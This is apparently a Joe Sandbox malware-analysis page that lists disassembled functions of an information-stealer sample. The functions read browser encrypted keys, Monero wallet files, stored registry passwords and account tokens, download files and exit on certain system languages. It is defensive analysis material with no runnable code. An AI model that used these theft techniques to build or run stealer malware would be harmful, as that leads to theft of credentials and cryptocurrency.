Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: bbc92471cd2d83712ee47261bf0cfef1e450ef92d602ee95126b726bd47e2d10
Instruction ID: 61ccf89482e4590b8d32774e154dbdece4ef439bcb17c6dc593c0ff62a87cea5
Opcode Fuzzy Hash: bbc92471cd2d83712ee47261bf0cfef1e450ef92d602ee95126b726bd47e2d10
Instruction Fuzzy Hash: 74C1A5B59001099BCB14FF60DC89FEE7379BB54308F0049DEE50AA7251DB78AA85CFA5

Function 00484280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00488DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00488E0B

lstrcat.KERNEL32(?,00000000), ref: 004842EC
lstrcat.KERNEL32(?,0123E370), ref: 0048430B
lstrcat.KERNEL32(?,?), ref: 0048431F
lstrcat.KERNEL32(?,0123D540), ref: 00484333

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 00488D90: GetFileAttributesA.KERNEL32(00000000,?,00471B54,?,?,0049564C,?,?,00490E1F), ref: 00488D9F

Part of subcall function 00479CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00479D39

Part of subcall function 004799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004799EC
Part of subcall function 004799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00479A11
Part of subcall function 004799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00479A31
Part of subcall function 004799C0: ReadFile.KERNEL32(000000FF,?,00000000,0047148F,00000000), ref: 00479A5A
Part of subcall function 004799C0: LocalFree.KERNEL32(0047148F), ref: 00479A90
Part of subcall function 004799C0: CloseHandle.KERNEL32(000000FF), ref: 00479A9A

Part of subcall function 004893C0: GlobalAlloc.KERNEL32(00000000,004843DD,004843DD), ref: 004893D3

StrStrA.SHLWAPI(?,0123E1A8), ref: 004843F3
GlobalFree.KERNEL32(?), ref: 00484512

Part of subcall function 00479AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NG,00000000,00000000), ref: 00479AEF
Part of subcall function 00479AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00474EEE,00000000,?), ref: 00479B01
Part of subcall function 00479AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NG,00000000,00000000), ref: 00479B2A
Part of subcall function 00479AC0: LocalFree.KERNEL32(?,?,?,?,00474EEE,00000000,?), ref: 00479B3F

lstrcat.KERNEL32(?,00000000), ref: 004844A3
StrCmpCA.SHLWAPI(?,004908D1), ref: 004844C0
lstrcat.KERNEL32(00000000,00000000), ref: 004844D2
lstrcat.KERNEL32(00000000,?), ref: 004844E5
lstrcat.KERNEL32(00000000,00490FB8), ref: 004844F4

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 7a5953508e02b78d397add2c8500f231c2078275f6bed257bbb8173ba3a88466
Instruction ID: c98bd3cef1e73dee769da88a6da527ce789746f99b8a59178426190f283d9d67
Opcode Fuzzy Hash: 7a5953508e02b78d397add2c8500f231c2078275f6bed257bbb8173ba3a88466
Instruction Fuzzy Hash: 547157B6900208BBDB14FBE0DC85FEE7379AB88304F04459DF60997181EA78DB55CB95

Function 00471310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004712A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004712B4
Part of subcall function 004712A0: RtlAllocateHeap.NTDLL(00000000), ref: 004712BB
Part of subcall function 004712A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004712D7
Part of subcall function 004712A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 004712F5
Part of subcall function 004712A0: RegCloseKey.ADVAPI32(?), ref: 004712FF

lstrcat.KERNEL32(?,00000000), ref: 0047134F
lstrlen.KERNEL32(?), ref: 0047135C
lstrcat.KERNEL32(?,.keys), ref: 00471377

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

Part of subcall function 00488B60: GetSystemTime.KERNEL32(00490E1A,0123A250,004905AE,?,?,004713F9,?,0000001A,00490E1A,00000000,?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 00488B86

Part of subcall function 0048A920: lstrcpy.KERNEL32(00000000,?), ref: 0048A972
Part of subcall function 0048A920: lstrcat.KERNEL32(00000000), ref: 0048A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00471465

Part of subcall function 0048A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0048A7E6

Part of subcall function 004799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004799EC
Part of subcall function 004799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00479A11
Part of subcall function 004799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00479A31
Part of subcall function 004799C0: ReadFile.KERNEL32(000000FF,?,00000000,0047148F,00000000), ref: 00479A5A
Part of subcall function 004799C0: LocalFree.KERNEL32(0047148F), ref: 00479A90
Part of subcall function 004799C0: CloseHandle.KERNEL32(000000FF), ref: 00479A9A

DeleteFileA.KERNEL32(00000000), ref: 004714EF

Strings

wallet_path, xrefs: 00471330
SOFTWARE\monero-project\monero-core, xrefs: 00471335
\Monero\wallet.keys, xrefs: 0047138D
.keys, xrefs: 0047136B

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 96ed77dd4ac376a0937a21fbdec1faf1453364f7e35a15196d0cfe74638244be
Instruction ID: e79b2ac46bd339641254e03a6fa1001e5f3129794780f40cc0ea9089a2c0def1
Opcode Fuzzy Hash: 96ed77dd4ac376a0937a21fbdec1faf1453364f7e35a15196d0cfe74638244be
Instruction Fuzzy Hash: 925164B1D101185BDB15FB61DC92FED733CAF50304F4045EEB60A62091EE786B99CBAA

Function 004775D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004772D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0047733A
Part of subcall function 004772D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004773B1
Part of subcall function 004772D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0047740D
Part of subcall function 004772D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00477452
Part of subcall function 004772D0: HeapFree.KERNEL32(00000000), ref: 00477459

lstrcat.KERNEL32(00000000,004917FC), ref: 00477606
lstrcat.KERNEL32(00000000,00000000), ref: 00477648
lstrcat.KERNEL32(00000000, : ), ref: 0047765A
lstrcat.KERNEL32(00000000,00000000), ref: 0047768F
lstrcat.KERNEL32(00000000,00491804), ref: 004776A0
lstrcat.KERNEL32(00000000,00000000), ref: 004776D3
lstrcat.KERNEL32(00000000,00491808), ref: 004776ED
task.LIBCPMTD ref: 004776FB

Strings

: , xrefs: 0047764E

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 04b62ced232289f04cca77523f37400c4989add7f2fdd49d1381d2ed3d5b94c6
Instruction ID: 5680078f2224a3743f068bcf2819f254980c1f52b4a48c731e4245cdc856c424
Opcode Fuzzy Hash: 04b62ced232289f04cca77523f37400c4989add7f2fdd49d1381d2ed3d5b94c6
Instruction Fuzzy Hash: CF315EB1A00109EBCB04EBF5DC89DFE7775FB44305B54821EF106A7290DA38A986CB66

Function 00488100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0123E0D0,00000000,?,00490E2C,00000000,?,00000000), ref: 00488130
RtlAllocateHeap.NTDLL(00000000), ref: 00488137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00488158
__aulldiv.LIBCMT ref: 00488172
__aulldiv.LIBCMT ref: 00488180
wsprintfA.USER32 ref: 004881AC

Strings

@, xrefs: 0048814D
%d MB, xrefs: 004881A3

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 779df993f302427ae03cc170133cc9b82ffb5e282ddfba718a1299b277dbd140
Instruction ID: b81a6bfe40f840e137cd4e492939b32e56726a56752d4d6336444b2d59a99e95
Opcode Fuzzy Hash: 779df993f302427ae03cc170133cc9b82ffb5e282ddfba718a1299b277dbd140
Instruction Fuzzy Hash: E7210EF1E44218ABDB04EFD5CC49FAEB779FB44714F204619F605BB280D77869018BA9

Function 004760A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0048A7E6

Part of subcall function 004747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00474839
Part of subcall function 004747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00474849

InternetOpenA.WININET(00490DF7,00000001,00000000,00000000,00000000), ref: 0047610F
StrCmpCA.SHLWAPI(?,0123E858), ref: 00476147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0047618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 004761B3
InternetReadFile.WININET(?,?,00000400,?), ref: 004761DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0047620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00476249
InternetCloseHandle.WININET(?), ref: 00476253
InternetCloseHandle.WININET(00000000), ref: 00476260

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 2e95b90e384e243b5cff099324eed2254a06ee4eb91abeedd2d9ddf0155028a6
Instruction ID: be20a424b778eaed9707d2aa953f943c8a53edc4e737eac2906fbf4d95028fb5
Opcode Fuzzy Hash: 2e95b90e384e243b5cff099324eed2254a06ee4eb91abeedd2d9ddf0155028a6
Instruction Fuzzy Hash: 345196B0900208AFDB10EF91CC49BEE7779EB04305F10859AF609A71C1DBB86A85CF5A

Function 004772D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0047733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004773B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0047740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00477452
HeapFree.KERNEL32(00000000), ref: 00477459
task.LIBCPMTD ref: 00477555

Strings

Password, xrefs: 00477401

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 0c57d87fc465b842dfa4d7898a96d522fb10d5315194d9cbcc621849a2531581
Instruction ID: dbe5aff23e83898a50f6197ea4e26f651b5c451e8b2c49ecdba4f5a5383348bf
Opcode Fuzzy Hash: 0c57d87fc465b842dfa4d7898a96d522fb10d5315194d9cbcc621849a2531581
Instruction Fuzzy Hash: 45615AB58441689BDB24DB50CC45BDAB7B8BF44304F00C1EAE64DA6241DBB45FC9CFA5

Function 0047BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A920: lstrcpy.KERNEL32(00000000,?), ref: 0048A972
Part of subcall function 0048A920: lstrcat.KERNEL32(00000000), ref: 0048A982

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

Part of subcall function 0048A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0048A7E6

lstrlen.KERNEL32(00000000), ref: 0047BC9F

Part of subcall function 00488E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00488E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0047BCCD
lstrlen.KERNEL32(00000000), ref: 0047BDA5
lstrlen.KERNEL32(00000000), ref: 0047BDB9

Strings

AccountTokens, xrefs: 0047BABA
AccountId, xrefs: 0047BCC4
AccountTokens, xrefs: 0047BB49
SELECT service, encrypted_token FROM token_service, xrefs: 0047BBEB

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: ead67ac665bb2a6ad27dae0bacb3e5115dee6693a7bbe285dad3976171df4033
Instruction ID: bf1916f3188128aa584078abd54bd5d727d6260dbce07087cc702724ecad300f
Opcode Fuzzy Hash: ead67ac665bb2a6ad27dae0bacb3e5115dee6693a7bbe285dad3976171df4033
Instruction Fuzzy Hash: E3B164B19101049BEB04FBA1CC96EEE7339AF14304F50496FF50662191EF7C6A59CBBA

Function 00486770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00486774
ExitProcess.KERNEL32 ref: 004867A5
ExitProcess.KERNEL32 ref: 004867AF
ExitProcess.KERNEL32 ref: 004867B9
ExitProcess.KERNEL32 ref: 004867C3
ExitProcess.KERNEL32 ref: 004867CD

Strings

*, xrefs: 0048678C

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 8f5910ae322d992617e449d3d4ea6967f6952df243d3920ff64f31f15f1e7ec4
Instruction ID: 91f6988b59c1b924a161d96389ba3626df4b964ed1263351ccbb517cee3ec545
Opcode Fuzzy Hash: 8f5910ae322d992617e449d3d4ea6967f6952df243d3920ff64f31f15f1e7ec4
Instruction Fuzzy Hash: 3AF05E74908249FFE384AFE0E90972C7B71FB04703F0402ADF60986290DA764B919BD6

Function 00474FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

